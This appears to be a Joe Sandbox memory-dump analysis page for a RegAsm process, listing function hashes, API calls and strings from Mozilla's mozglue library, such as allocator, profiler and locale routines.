Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: a73661cf76e04e04c3314912db0c496f9f0db4acfd5adc7d1b40183cf7e6ee5a
Instruction ID: 4a635acd91bfd117a0395710259883c8385e3520b466af2a8eec46a4ff0ec448
Opcode Fuzzy Hash: a73661cf76e04e04c3314912db0c496f9f0db4acfd5adc7d1b40183cf7e6ee5a
Instruction Fuzzy Hash: B9719EB090AB418BC712CF18C48055BFBF4FF99319B448659E89A5BB02FB30F895CB95

Function 6CC8DDC0 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE ref: 6CC8DDCF

Part of subcall function 6CC6FA00: ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CC6FA4B

Part of subcall function 6CC890E0: free.MOZGLUE(?,00000000,?,?,6CC8DEDB), ref: 6CC890FF
Part of subcall function 6CC890E0: free.MOZGLUE(?,00000000,?,?,6CC8DEDB), ref: 6CC89108

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CC8DE0D
free.MOZGLUE(00000000), ref: 6CC8DE41
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CC8DE5F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CC8DEA3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CC8DEE9
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6CC7DEFD,?,6CC44A68), ref: 6CC8DF32

Part of subcall function 6CC8DAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6CC8DB86
Part of subcall function 6CC8DAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6CC8DC0E

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6CC7DEFD,?,6CC44A68), ref: 6CC8DF65
free.MOZGLUE(?), ref: 6CC8DF80

Part of subcall function 6CC55E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CC55EDB
Part of subcall function 6CC55E90: memset.VCRUNTIME140(6CC97765,000000E5,55CCCCCC), ref: 6CC55F27
Part of subcall function 6CC55E90: LeaveCriticalSection.KERNEL32(?), ref: 6CC55FB2

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: free$CriticalImpl@detail@mozilla@@MutexSection$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedEnterExclusiveLeaveLockProfileReleasememset
String ID:
API String ID: 112305417-0
Opcode ID: 89edb802102ee76bc44afe8b9f298d2ed4ce44ddf5527cce7c8043b150dd35b1
Instruction ID: b89c7cf48a436d5ee1bb91cefaf3e392a48f23cd081337e61372806747c15651
Opcode Fuzzy Hash: 89edb802102ee76bc44afe8b9f298d2ed4ce44ddf5527cce7c8043b150dd35b1
Instruction Fuzzy Hash: 9651C7727026029BD7119F18D8806AFB772BF9131CF95011ED45A53B00F731F85ACBA2

Function 6CC95D10 Relevance: 13.6, APIs: 9, Instructions: 126COMMON

Download Yara Rule

APIs

?_Fiopen@std@@YAPAU_iobuf@@PB_WHH@Z.MSVCP140(?,00000001,00000040,?,00000000,?,6CC95C8C,?,6CC6E829), ref: 6CC95D32
?getloc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000000,00000001,?,?,?,?,00000000,?,6CC95C8C,?,6CC6E829), ref: 6CC95D62
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000,?,?,?,?,00000000,?,6CC95C8C,?,6CC6E829), ref: 6CC95D6D
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,00000000,?,6CC95C8C,?,6CC6E829), ref: 6CC95D84
?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(?,?,?,?,00000000,?,6CC95C8C,?,6CC6E829), ref: 6CC95DA4
?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,?,?,?,?,00000000,?,6CC95C8C,?,6CC6E829), ref: 6CC95DC9
std::_Facet_Register.LIBCPMT ref: 6CC95DDB
??1_Lockit@std@@QAE@XZ.MSVCP140(?,?,?,?,00000000,?,6CC95C8C,?,6CC6E829), ref: 6CC95E00
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,00000000,?,6CC95C8C,?,6CC6E829), ref: 6CC95E45

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?getloc@?$basic_streambuf@Bid@locale@std@@D@std@@@std@@Facet_Fiopen@std@@Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterU?$char_traits@U_iobuf@@V42@@Vfacet@locale@2@Vlocale@2@abortstd::_
String ID:
API String ID: 2325513730-0
Opcode ID: 5cfedafd0c29329e258b3d6cc9f8e16e7e071290dbc790c8e474f7bf375af258
Instruction ID: fb7876f300e37f58bd7c90a59601ddad3c929e030b0e8c0298208de06f187c6d
Opcode Fuzzy Hash: 5cfedafd0c29329e258b3d6cc9f8e16e7e071290dbc790c8e474f7bf375af258
Instruction Fuzzy Hash: 5941C2757002058FCB00DFA5C9D8AAE77B5FF89319F0441A8E50697791EB35EC06CB60

Function 6CC6CC60 Relevance: 13.6, APIs: 7, Strings: 2, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00003000,00003000,00000004,?,?,?,6CC331A7), ref: 6CC6CDDD

Strings

<jemalloc>, xrefs: 6CC6CF9F, 6CC6CFB3
: (malloc) Error in VirtualFree(), xrefs: 6CC6CFA4, 6CC6CFB8

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 4275171209-2186867486
Opcode ID: 3b1509cdb8a27fc19319f1ec38b160d3553e756fc0d96ecbb2baaf9136e9b9d6
Instruction ID: 7986fe24accd01d142f8e5c75f5376e31a01c2699bf7f5f4bf737bb9bf9e6cb9
Opcode Fuzzy Hash: 3b1509cdb8a27fc19319f1ec38b160d3553e756fc0d96ecbb2baaf9136e9b9d6
Instruction Fuzzy Hash: 4431A331B442055BEF10AFEA8DD5B6E7B75BF41B58F204019F610ABE80FB70E4018BA5

Function 6CC3BAE0 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 183COMMON

Download Yara Rule

APIs

?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(00000000,?,?,?,?), ref: 6CC3BC03
?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6CC3BD06

Strings

y, xrefs: 6CC3BC4E
0, xrefs: 6CC3BBCD
0, xrefs: 6CC3BC74

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@Double$CreateDecimalHandleRepresentation@SpecialValues@
String ID: 0$0$y
API String ID: 2811501404-3020536412
Opcode ID: bbd5dac25041263a6675eb4c07bb636c29fc8877f2ac0aa4797e370f726d60e4
Instruction ID: 6650441275dc40e5480a8a6b202beb377a9e82d9bab949b8702c5fef6da26026
Opcode Fuzzy Hash: bbd5dac25041263a6675eb4c07bb636c29fc8877f2ac0aa4797e370f726d60e4
Instruction Fuzzy Hash: 3461E371A08B548FC710CF29E4A1A5BB7E5FFC9348F00562EF88997641FB30D9498782

Function 6CC3ECD0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143fileCOMMON

Download Yara Rule

APIs

Part of subcall function 6CC3F100: LoadLibraryW.KERNEL32(shell32,?,6CCAD020), ref: 6CC3F122
Part of subcall function 6CC3F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6CC3F132

moz_xmalloc.MOZGLUE(00000012), ref: 6CC3ED50
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CC3EDAC
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,\Mozilla\Firefox\SkeletonUILock-,00000020,?,00000000), ref: 6CC3EDCC
CreateFileW.KERNEL32 ref: 6CC3EE08
free.MOZGLUE(00000000), ref: 6CC3EE27
free.MOZGLUE(?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 6CC3EE32

Part of subcall function 6CC3EB90: moz_xmalloc.MOZGLUE(00000104), ref: 6CC3EBB5
Part of subcall function 6CC3EB90: memset.VCRUNTIME140(00000000,00000000,00000104,?,?,6CC6D7F3), ref: 6CC3EBC3
Part of subcall function 6CC3EB90: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,6CC6D7F3), ref: 6CC3EBD6

Strings

\Mozilla\Firefox\SkeletonUILock-, xrefs: 6CC3EDC1

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: Filefreemoz_xmallocwcslen$AddressCreateLibraryLoadModuleNameProcmemset
String ID: \Mozilla\Firefox\SkeletonUILock-
API String ID: 1980384892-344433685
Opcode ID: 16ad29734e63e0849865ad23842afd8107fa41eaa2676d7c1b81d95605e19852
Instruction ID: 354f9080f5a777a7a32b0881fcf449c7172278be4387c5a7896af4fb334c207f
Opcode Fuzzy Hash: 16ad29734e63e0849865ad23842afd8107fa41eaa2676d7c1b81d95605e19852
Instruction Fuzzy Hash: 7C51E171D052248BDB01DF69E8447EEB7B0AF49318F44946DE8596B780FB306D48CBE2

Function 6CC40A60 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 140COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0000000C,?,6CC9B80C,00000000,?,?,6CC4003B,?), ref: 6CC40A72

Part of subcall function 6CC4CA10: malloc.MOZGLUE(?), ref: 6CC4CA26

moz_xmalloc.MOZGLUE(?,?,6CC9B80C,00000000,?,?,6CC4003B,?), ref: 6CC40AF5
free.MOZGLUE(00000000,?,?,6CC9B80C,00000000,?,?,6CC4003B,?), ref: 6CC40B9F
free.MOZGLUE(?,?,?,6CC9B80C,00000000,?,?,6CC4003B,?), ref: 6CC40BDB
free.MOZGLUE(00000000,?,?,6CC9B80C,00000000,?,?,6CC4003B,?), ref: 6CC40BED
mozalloc_abort.MOZGLUE(alloc overflow,?,6CC9B80C,00000000,?,?,6CC4003B,?), ref: 6CC40C0A

Strings

alloc overflow, xrefs: 6CC40C05

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: free$moz_xmalloc$mallocmozalloc_abort
String ID: alloc overflow
API String ID: 1471638834-749304246
Opcode ID: 859adedcc3abfefc8c697cbfd19dfd95dff47f8ab411ca817a95692beeed9c8d
Instruction ID: 6d664f920f14fccc44d4af032bba0ff120b6f04a5444011e68354525be8f617a
Opcode Fuzzy Hash: 859adedcc3abfefc8c697cbfd19dfd95dff47f8ab411ca817a95692beeed9c8d
Instruction Fuzzy Hash: E351C0B0A446468FDB14CF58C880B5EB3B5FF54308F14C96DC84A9BA01FB71A555CB51

Function 6CCAA520 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117COMMON

Download Yara Rule

APIs

?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6CCAA565

Part of subcall function 6CCAA470: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CCAA4BE
Part of subcall function 6CCAA470: memcpy.VCRUNTIME140(?,?,00000000), ref: 6CCAA4D6

?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE ref: 6CCAA65B
?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6CCAA6B6

Strings

z, xrefs: 6CCAA6AE
0, xrefs: 6CCAA5FB

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@$Ascii@CreateDtoaExponentialHandleMode@12@Representation@SpecialValues@memcpystrlen
String ID: 0$z
API String ID: 310210123-2584888582
Opcode ID: 62c5bfb3ce3c1f6339342200d8de82d976632163274a50ef74e37e6af8f6e15a
Instruction ID: 74045c2f84009e951ddcc6ffd6cb30ab87bc731c806c9c0f1cdbaf8611a03efe
Opcode Fuzzy Hash: 62c5bfb3ce3c1f6339342200d8de82d976632163274a50ef74e37e6af8f6e15a
Instruction Fuzzy Hash: 774138719087469FC341DF69C480A8BBBE4BFC9354F409A2EF49987650EB30D549CF92

Function 6CC378C0 Relevance: 12.3, APIs: 8, Instructions: 320COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,6CCB008B), ref: 6CC37B89
free.MOZGLUE(?,6CCB008B), ref: 6CC37BAC

Part of subcall function 6CC378C0: free.MOZGLUE(?,6CCB008B), ref: 6CC37BCF

free.MOZGLUE(?,6CCB008B), ref: 6CC37BF2

Part of subcall function 6CC55E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CC55EDB
Part of subcall function 6CC55E90: memset.VCRUNTIME140(6CC97765,000000E5,55CCCCCC), ref: 6CC55F27
Part of subcall function 6CC55E90: LeaveCriticalSection.KERNEL32(?), ref: 6CC55FB2

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: free$CriticalSection$EnterLeavememset
String ID:
API String ID: 3977402767-0
Opcode ID: d06a90c288bb6f93bfbe0784987deff49d495643f856a02ef4b03e2eb2266cf7
Instruction ID: 94fc221fc54e36b0e03f0871115498ac6b8cf9ea2f29b3b7a77180aeac3681d0
Opcode Fuzzy Hash: d06a90c288bb6f93bfbe0784987deff49d495643f856a02ef4b03e2eb2266cf7
Instruction Fuzzy Hash: DDC18071E01138CBEB248B28EE90B9DB772BF41318F1512E9D41EA7BC1E7319E859B51

Function 6CC79420 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 6CC6AB89: EnterCriticalSection.KERNEL32(6CCBE370,?,?,?,6CC334DE,6CCBF6CC,?,?,?,?,?,?,?,6CC33284), ref: 6CC6AB94
Part of subcall function 6CC6AB89: LeaveCriticalSection.KERNEL32(6CCBE370,?,6CC334DE,6CCBF6CC,?,?,?,?,?,?,?,6CC33284,?,?,6CC556F6), ref: 6CC6ABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CC44A68), ref: 6CC7945E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CC79470
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CC79482
__Init_thread_footer.LIBCMT ref: 6CC7949F

Strings

MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6CC79459
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6CC7946B
MOZ_BASE_PROFILER_LOGGING, xrefs: 6CC7947D

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: getenv$CriticalSection$EnterInit_thread_footerLeave
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING
API String ID: 4042361484-1628757462
Opcode ID: 24a4c84fa9a339ab5e3b80b294ac612a864d47757d11aa5c1a6909d4d07a41d3
Instruction ID: 63acdb4d6b6662022c5f0db05e13659c80985077e483b14b10a7b90a70b1da63
Opcode Fuzzy Hash: 24a4c84fa9a339ab5e3b80b294ac612a864d47757d11aa5c1a6909d4d07a41d3
Instruction Fuzzy Hash: 2B01D478A001018BD7109BEDE915A4673B5EB46328F040536E90AA7F41F731E8658D6F

Function 6CC81220 Relevance: 12.2, APIs: 8, Instructions: 173threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CC8124B
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CC81268
GetCurrentThreadId.KERNEL32 ref: 6CC812DA
InitializeConditionVariable.KERNEL32(?), ref: 6CC8134A
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(?,?,?), ref: 6CC8138A
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(00000000,?), ref: 6CC81431

Part of subcall function 6CC78AC0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,6CC91563), ref: 6CC78BD5

free.MOZGLUE(?), ref: 6CC8145A
free.MOZGLUE(?), ref: 6CC8146C

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: ?profiler_capture_backtrace_into@baseprofiler@mozilla@@Buffer@2@CaptureChunkedCurrentNow@Options@2@@ProfileStackStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID:
API String ID: 2803333873-0
Opcode ID: 4da3a71d347bd9a54141fd830d64bc9367bc66de7fe29be4739a2344bce3d8bc
Instruction ID: b4c9bb4e3925217e543ec6a7e7227bb0d51d6ed1f8726c7c28e82ca522ce602b
Opcode Fuzzy Hash: 4da3a71d347bd9a54141fd830d64bc9367bc66de7fe29be4739a2344bce3d8bc
Instruction Fuzzy Hash: F661AD75A053409BDB10CF29C880BABBBF5BFC5308F04891DE99A47A12EB30E459CB41

Function 6CC80F40 Relevance: 12.2, APIs: 8, Instructions: 171threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CC80F6B
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CC80F88
GetCurrentThreadId.KERNEL32 ref: 6CC80FF7
InitializeConditionVariable.KERNEL32(?), ref: 6CC81067
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(?,?,?), ref: 6CC810A7
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(00000000,?), ref: 6CC8114B

Part of subcall function 6CC78AC0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,6CC91563), ref: 6CC78BD5

free.MOZGLUE(?), ref: 6CC81174
free.MOZGLUE(?), ref: 6CC81186

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: ?profiler_capture_backtrace_into@baseprofiler@mozilla@@Buffer@2@CaptureChunkedCurrentNow@Options@2@@ProfileStackStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID:
API String ID: 2803333873-0
Opcode ID: f810ba0a3f8ae8bbdafab63bcb787269c7c04e690e0794fdf3ed72608c7c8fe5
Instruction ID: 64f9b00a6d3357b35b803c6954f0ac9508f127866138a43e8a23e8d8222193c1
Opcode Fuzzy Hash: f810ba0a3f8ae8bbdafab63bcb787269c7c04e690e0794fdf3ed72608c7c8fe5
Instruction Fuzzy Hash: B361AD75A063409BDB10CF25C880B9BBBF6BFC5308F14891DE89987711EB71E949CB81

Function 6CC3E9C0 Relevance: 12.1, APIs: 8, Instructions: 133COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(?,?,?,6CC41999), ref: 6CC3EA39
memcpy.VCRUNTIME140(?,?,7FFFFFFE), ref: 6CC3EA5C
memset.VCRUNTIME140(7FFFFFFE,00000000,?), ref: 6CC3EA76
moz_xmalloc.MOZGLUE(-00000001,?,?,6CC41999), ref: 6CC3EA9D
memcpy.VCRUNTIME140(?,7FFFFFFE,?,?,?,6CC41999), ref: 6CC3EAC2
memset.VCRUNTIME140(?,00000000,00000000,?,?,?,?), ref: 6CC3EADC
free.MOZGLUE(7FFFFFFE,?,?,?,?), ref: 6CC3EB0B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?), ref: 6CC3EB27

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: memcpymemsetmoz_xmalloc$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 706364981-0
Opcode ID: 96ef0822f53e501e32504048c77324650007e9c4cdad27e8a0987a03a6821992
Instruction ID: b9313526c5eeeff951eeeb50a0357a6673782edaa038a4f8b279caa98240f4cf
Opcode Fuzzy Hash: 96ef0822f53e501e32504048c77324650007e9c4cdad27e8a0987a03a6821992
Instruction Fuzzy Hash: 594193B1A002269FDB14CFA8DC80AAE7BA4FF45358F240628E819D7794F731DD4587D5

Function 6CC3B630 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(?,?,?,?,6CC3B61E,?,?,?,?,?,00000000), ref: 6CC3B6AC

Part of subcall function 6CC4CA10: malloc.MOZGLUE(?), ref: 6CC4CA26

memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6CC3B61E,?,?,?,?,?,00000000), ref: 6CC3B6D1
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?,?,?,6CC3B61E,?,?,?,?,?,00000000), ref: 6CC3B6E3
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6CC3B61E,?,?,?,?,?,00000000), ref: 6CC3B70B
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,6CC3B61E,?,?,?,?,?,00000000), ref: 6CC3B71D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,6CC3B61E), ref: 6CC3B73F
moz_xmalloc.MOZGLUE(80000023,?,?,?,6CC3B61E,?,?,?,?,?,00000000), ref: 6CC3B760
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,6CC3B61E,?,?,?,?,?,00000000), ref: 6CC3B79A

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

